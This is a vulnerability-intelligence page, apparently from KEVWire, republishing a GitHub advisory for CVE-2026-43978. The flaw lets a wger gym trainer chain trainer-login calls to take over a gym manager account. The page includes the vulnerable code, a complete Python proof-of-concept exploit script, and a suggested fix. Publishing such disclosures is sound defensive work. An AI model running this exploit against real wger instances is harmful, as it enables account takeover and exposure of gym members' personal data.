KEVWire

Security intelligence, with context.

Response snapshot Nov 6, 2026, 03:20 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-43978

wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.

At a glance

Exploited
Not known
Severity
8.1 High (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.

Read GitHub-reviewed advisory GHSA-9qpr-vc49-hqg2 (opens a new tab)

What happened

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

Continue reading
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
 return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
 user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
 return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
 r = s.get(f'{BASE}/api/v2/userprofile/',
 headers={'Accept': 'application/json'})
 return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
 'username': 'trainer1',
 'password': 'pass1234',
 'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
 print(" RESULT : !! VULNERABLE !!")
 print(" trainer1 (gym_trainer) is now logged in as manager1")
 print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
 print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.

Vulnerable code (user.py:169–178):

if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
 return HttpResponseForbidden()

if request.user.has_perm('gym.gym_trainer') and (
 user.has_perm('gym.gym_trainer')
 or user.has_perm('gym.manage_gym')
 or user.has_perm('gym.manage_gyms')
):
 return HttpResponseForbidden()

Suggested fix:

trainer_identity_pk = request.session.get('trainer.identity')

if not request.user.has_perm('gym.gym_trainer'):
 if not trainer_identity_pk:
 return HttpResponseForbidden()
 # Verify the original trainer in the session still holds the permission
 original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
 if not original_trainer.has_perm('gym.gym_trainer'):
 return HttpResponseForbidden()

# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
 user.has_perm('gym.gym_trainer')
 or user.has_perm('gym.manage_gym')
 or user.has_perm('gym.manage_gyms')
):
 return HttpResponseForbidden()

Affected package ranges reported by GitHub: wger: <= 2.5

Scores and how they were measured

CVSS base severity

8.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 18.5%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-9qpr-vc49-hqg2 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9qpr-vc49-hqg2, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-43978, scored 2026-11-05. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager (CVE-2026-43978). https://kevwire.com/record/CVE-2026-43978

MLA

"wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager (CVE-2026-43978)." KEVWire, 6 Nov. 2026, kevwire.com/record/CVE-2026-43978.

Chicago

KEVWire. "wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager (CVE-2026-43978)." Last modified November 6, 2026. https://kevwire.com/record/CVE-2026-43978.

Evidence summary (plain text)

wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager (May 14, 2026).
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
CVSS 8.1 (version 3.1; evidence as of Nov 6, 2026; https://github.com/advisories/GHSA-9qpr-vc49-hqg2).
EPSS 0.3% for the following 30 days, scored Nov 5, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-43978&date=2026-11-05).
Sources:
GitHub-reviewed advisory GHSA-9qpr-vc49-hqg2: https://github.com/advisories/GHSA-9qpr-vc49-hqg2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-43978&date=2026-11-05
Record ID: CVE-2026-43978.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 6, 2026, 01:16 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail